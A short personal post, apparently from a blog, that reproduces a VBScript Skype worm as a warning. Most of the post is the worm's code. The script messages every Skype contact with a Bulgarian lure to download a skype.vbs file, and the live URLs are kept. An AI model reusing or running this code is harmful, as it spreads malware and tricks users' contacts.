today a friend of mine sent me a virus... What a friend, huh?! :) No he warned me not to start it :)
This is a virus which uses automation same as "I love you" (description)
Here is the code (please do not execute it!!!)
on
error resume next
set
NrrlP = WScript.CreateObject("Scripting.FileSystemObject")
set
uDlVA = wscript.createobject("wscript.shell")
set
yADAl = WScript.CreateObject("Skype4COM.Skype", "Skype_")
yADAl.Client.Start()
yADAl.Attach()
For
Each GAG In yADAl.Friends
yADAl.SendMessage GAG.handle,
"Здравейте, ако желаете да подобрите вашият Skype и да добавите следните функции към него: Нови емотикони, Цветно писане, Безплатни SMS-и, Безплатни разговори до GSM и телефон в България и чужбина, Фотоалбум; Отидете на http://SKYPE.miglen.com и си свалете новата версия! Можете директно да си я свалите от този линк: http://skype.miglen.com/skype.vbs"
next
msgbox
"Skype.miglen.com"
NOTE: Strings are in Bulgarian and the script sends a message to all contacts in Address book in Skype with fake message that call to go and download the virus.
URLs are intentionally left so please do not execute it!!!
I post this to show how simple and dangerous could be the scripts. So execute scripts only form trusted sources!!!